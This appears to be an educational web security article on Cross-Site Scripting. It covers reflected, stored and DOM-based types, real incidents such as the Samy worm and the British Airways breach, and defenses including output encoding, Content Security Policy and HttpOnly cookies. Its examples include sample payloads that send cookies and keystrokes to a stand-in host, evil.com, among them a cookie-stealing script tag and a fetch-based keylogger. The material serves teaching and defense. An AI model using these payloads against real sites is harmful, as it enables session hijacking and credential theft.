What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a class of security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, it runs with the full privileges of the page's origin -- giving the attacker access to session cookies, authentication tokens, and the ability to perform any action the user can. XSS consistently ranks among the most common and dangerous web application vulnerabilities, appearing in the OWASP Top 10 since its inception.

The Same-Origin Policy and Why XSS Breaks It

Browsers enforce a security boundary called the same-origin policy: scripts loaded from one origin (a combination of scheme, host, and port) cannot read data from a different origin. This is the fundamental security model of the web. A script on evil.com cannot read your cookies or DOM content from bank.com.

XSS circumvents this entirely. When an attacker injects a script into bank.com, the browser sees it as a legitimate script from that origin. The injected code has full access to everything on the page -- it can read the DOM, access cookies, call APIs on behalf of the user, and exfiltrate data to attacker-controlled servers. The same-origin policy is not violated from the browser's perspective, because the malicious script is running on the target origin.

Victim's Browser origin: bank.com bank.com vulnerable page evil.com attacker server 1. GET 2. HTML + <script> Injected Script Executes document.cookie localStorage tokens DOM manipulation 3. stolen data

The Three Types of XSS

XSS vulnerabilities are classified into three categories based on how the malicious script reaches the victim's browser. Understanding the distinctions matters because each type has different attack vectors and different defenses.

Reflected XSS

Reflected XSS (also called non-persistent XSS) occurs when user input from an HTTP request is immediately included in the response page without proper encoding. The malicious script is not stored on the server -- it is "reflected" back to the user from the request itself.

A typical reflected XSS attack works like this: the attacker crafts a URL containing a script payload in a query parameter, then tricks the victim into clicking it (via phishing email, social media, or a malicious page). When the victim clicks the link, the server echoes the parameter into the HTML response, and the browser executes the script.

Consider a search page that displays the user's query:

<!-- Vulnerable: raw user input in HTML -->
<p>Results for: <?= $_GET['q'] ?></p>

<!-- Attacker crafts URL: -->
<!-- /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

The fix is straightforward -- escape all HTML-special characters before rendering them:

<!-- Safe: HTML-encoded output -->
<p>Results for: <?= htmlspecialchars($query, ENT_QUOTES, 'UTF-8') ?></p>

<!-- The payload now renders as visible text, not executable code -->

Stored (Persistent) XSS

Stored XSS is the most dangerous variant. The malicious script is permanently saved on the target server -- in a database, comment field, forum post, user profile, or any other stored data -- and served to every user who views the affected page. No social engineering is needed to trigger it; the payload is delivered automatically.

The classic example is a comment or message board that stores user-submitted HTML and renders it without sanitization. An attacker posts a comment containing a script tag. Every user who views that comment has the script execute in their browser.

<!-- Vulnerable: rendering stored HTML directly -->
<div class="comment">
  {{ comment.body | safe }}   <!-- Never do this with user content -->
</div>

<!-- Attacker submits comment body: -->
<!-- Great post!<script>fetch('https://evil.com/log?cookie='+document.cookie)</script> -->

Safe rendering:

<!-- Safe: auto-escaped template output -->
<div class="comment">
  {{ comment.body }}   <!-- Template engine auto-escapes by default -->
</div>

<!-- If rich text is needed, use a whitelist-based HTML sanitizer -->
<div class="comment">
  {{ comment.body | sanitize }}   <!-- Only allow safe tags: <b>, <i>, <a>, etc. -->
</div>

DOM-Based XSS

DOM-based XSS is unique because the server never sees the malicious payload. The vulnerability exists entirely in client-side JavaScript that reads from a source the attacker can control (like location.hash, location.search, document.referrer, or postMessage) and writes it into the DOM through a dangerous sink (innerHTML, document.write, eval()).

<!-- Vulnerable: writing URL fragment into DOM -->
<script>
  // Source: attacker controls the hash
  const name = decodeURIComponent(location.hash.slice(1));
  // Sink: innerHTML parses and executes HTML
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>

<!-- Attack URL: https://example.com/#<img src=x onerror=alert(document.cookie)> -->

The fix is to use safe DOM APIs that set text content rather than parsing HTML:

<!-- Safe: textContent does not parse HTML -->
<script>
  const name = decodeURIComponent(location.hash.slice(1));
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>
Three Types of XSS Reflected Payload in URL User clicks malicious link Server echoes input in response Script executes in victim browser Not persisted Stored Payload in database Attacker submits malicious content Server stores it in database Every visitor executes payload Most dangerous DOM-Based Payload in client Payload never hits server JS reads from URL hash/params Writes to DOM via innerHTML Client-side only

What Attackers Do With XSS

An XSS vulnerability gives an attacker a foothold inside the trusted origin. From there, the possible attacks are broad and severe.

Session Hijacking (Cookie Theft)

The most classic XSS payload steals the user's session cookie and sends it to an attacker-controlled server. With the session cookie, the attacker can impersonate the victim, accessing their account without knowing their password. This works whenever session cookies are not marked HttpOnly:

<script>
  new Image().src = 'https://evil.com/steal?c=' + document.cookie;
</script>

Keylogging

An injected script can attach event listeners to capture every keystroke the user types, including passwords and credit card numbers:

<script>
  document.addEventListener('keypress', function(e) {
    fetch('https://evil.com/log', {
      method: 'POST',
      body: JSON.stringify({ key: e.key, ts: Date.now() })
    });
  });
</script>

Phishing and Content Manipulation

XSS can rewrite the page's DOM to display a fake login form, tricking the user into entering credentials that are sent to the attacker rather than the real server. The victim sees the legitimate domain in their address bar, making the phishing attack far more convincing than an external phishing site.

Cryptocurrency Mining

Stored XSS on high-traffic pages has been used to inject cryptocurrency miners (like Coinhive before its shutdown) that consume visitors' CPU resources to mine cryptocurrency for the attacker. The victim notices their device slowing down and their battery draining, but sees no obvious cause.

Worm Propagation

If the vulnerable application allows user-to-user content (social networks, forums, email), an XSS payload can be self-propagating: the script reads the victim's friend list or contacts, then posts itself to their profiles, infecting them in turn. This is exactly how the Samy worm spread across MySpace in 2005.

Real-World XSS Incidents

The Samy Worm (MySpace, 2005)

Samy Kamkar created a stored XSS worm that exploited MySpace's profile page. When a user viewed Samy's profile, the injected JavaScript would add Samy as a friend, add the text "but most of all, samy is my hero" to the victim's profile, and copy the worm code to the victim's profile so it would propagate further. Within 20 hours, over one million users were infected, making it the fastest-spreading virus of all time at that point. MySpace had to take the entire site offline to remove the worm. Samy was sentenced to community service and three years of probation.

TweetDeck XSS (2014)

A stored XSS vulnerability in TweetDeck (Twitter's power-user client) allowed a tweet containing JavaScript in the tweet text to execute in TweetDeck when rendered. A self-retweeting worm exploited this: the injected script would automatically retweet the malicious tweet from the viewer's account, causing exponential propagation. The tweet was retweeted over 70,000 times before Twitter temporarily shut TweetDeck down to patch the vulnerability.

British Airways (2018)

The Magecart threat group injected a malicious script into British Airways' payment page through a compromised third-party JavaScript library. The script captured payment card details as customers entered them and sent the data to an attacker-controlled server. Approximately 380,000 transactions were compromised over a two-week period before detection. British Airways was fined 20 million pounds by the UK's Information Commissioner's Office under GDPR.

Defense: Output Encoding

The single most important defense against XSS is context-aware output encoding. Every time you insert dynamic data into HTML, you must encode it for the specific context where it appears. The encoding rules differ depending on the context:

Modern template engines (React JSX, Go's html/template, Jinja2 with autoescape, Rust's askama) handle HTML encoding by default. The danger arises when developers bypass auto-escaping with functions like React's dangerouslySetInnerHTML, Django's |safe filter, or Go's template.HTML() type.

Defense: Content Security Policy (CSP)

Content Security Policy is an HTTP response header that tells the browser which sources of content are permitted. A well-configured CSP is a powerful second line of defense that can prevent XSS from executing even if an injection vulnerability exists.

A strict CSP looks like this:

Content-Security-Policy: default-src 'none';
  script-src 'nonce-abc123';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self';
  font-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self'

Key directives for XSS prevention:

CSP does not fix the underlying vulnerability -- it is a mitigation layer. If your output encoding fails, CSP can still prevent the injected script from executing. Always implement both.

Defense in Depth: Layered XSS Protection 1. Input Validation Reject clearly malicious input at the boundary 2. Output Encoding Context-aware escaping when rendering dynamic data 3. Content Security Policy Browser-enforced restriction on script sources 4. HttpOnly / Secure Cookies Prevent JavaScript access to session tokens depth

Defense: HttpOnly and Secure Cookies

Even with perfect output encoding, defense in depth means assuming any single layer can fail. The HttpOnly flag on cookies prevents JavaScript from accessing them via document.cookie. If an XSS vulnerability exists, the attacker cannot steal the session cookie -- the most valuable target.

Set-Cookie: session=abc123;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/

Note that HttpOnly does not prevent all XSS impact. An attacker can still make authenticated requests on behalf of the user (because the browser still sends HttpOnly cookies with requests), manipulate the DOM, and perform actions. But it prevents the attacker from exfiltrating the session token for use outside the browser.

Defense: Input Validation and Sanitization

Input validation acts as a first filter: reject input that does not match expected patterns. If a field expects a numeric ID, reject anything containing < or >. If a field expects an email address, validate the format server-side.

However, input validation alone is not sufficient for XSS prevention. Many legitimate inputs contain characters that are dangerous in HTML (<, >, &, quotes). A user named O'Brien or a comment discussing <script> tags should not be rejected. The correct approach is to accept the input as-is and encode it on output.

When an application genuinely needs to accept rich HTML from users (WYSIWYG editors, markdown-to-HTML conversion), use a whitelist-based HTML sanitizer that strips all tags and attributes except an explicitly approved set. Notable sanitization libraries include:

Defense: Modern Framework Protections

Modern frontend frameworks provide built-in XSS protection by default, but each has escape hatches that developers must use carefully:

// React: auto-escapes by default
// SAFE - content is escaped
<div>{userInput}</div>

// DANGEROUS - bypasses escaping
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Vue: auto-escapes by default
// SAFE
<div>{{ userInput }}</div>

// DANGEROUS
<div v-html="userInput"></div>
// Angular: sanitizes by default
// SAFE
<div>{{ userInput }}</div>

// DANGEROUS - bypasses DomSanitizer
this.domSanitizer.bypassSecurityTrustHtml(userInput)

The pattern is consistent: the default rendering path is safe; the danger is in explicitly bypassing the framework's protections. Code reviews should flag any use of these escape hatches and require justification for each instance.

XSS and Network Security

XSS does not exist in isolation. It intersects with network-layer security in important ways. TLS/HTTPS protects data in transit, but it cannot prevent XSS -- if a script is injected into a page served over HTTPS, it executes with full HTTPS-origin privileges. DNS hijacking can redirect users to attacker-controlled servers that inject scripts, but HTTPS with proper certificate validation prevents this vector. JWT tokens stored in localStorage are vulnerable to XSS theft (unlike HttpOnly cookies), which is why security-sensitive tokens should be stored in HttpOnly cookies rather than in JavaScript-accessible storage.

The British Airways breach illustrates this intersection: the attackers compromised a third-party JavaScript file served from a CDN, which was loaded by the payment page over HTTPS. Every layer was "secure" individually -- HTTPS was active, the domain was correct, the certificate was valid -- but the injected script ran inside the trusted origin and captured payment data as users entered it.

Testing for XSS

A thorough XSS testing strategy combines automated and manual approaches:

XSS Prevention Checklist

Look Up Security Infrastructure

XSS prevention is one layer in a broader security stack. Explore the network infrastructure that underpins web security -- look up the DNS configuration, BGP routes, and hosting details for any domain to understand how traffic reaches the servers that need protecting:

See BGP routing data in real time

Open Looking Glass
More Articles
How TLS/HTTPS Works: Securing the Internet's Traffic
Certificate Transparency: How CT Logs Secure the Web's PKI
How Firewalls Work: Packet Filtering, Stateful Inspection, and Beyond
What is Cross-Site Request Forgery (CSRF)?
What is Server-Side Request Forgery (SSRF)?
What is SQL Injection?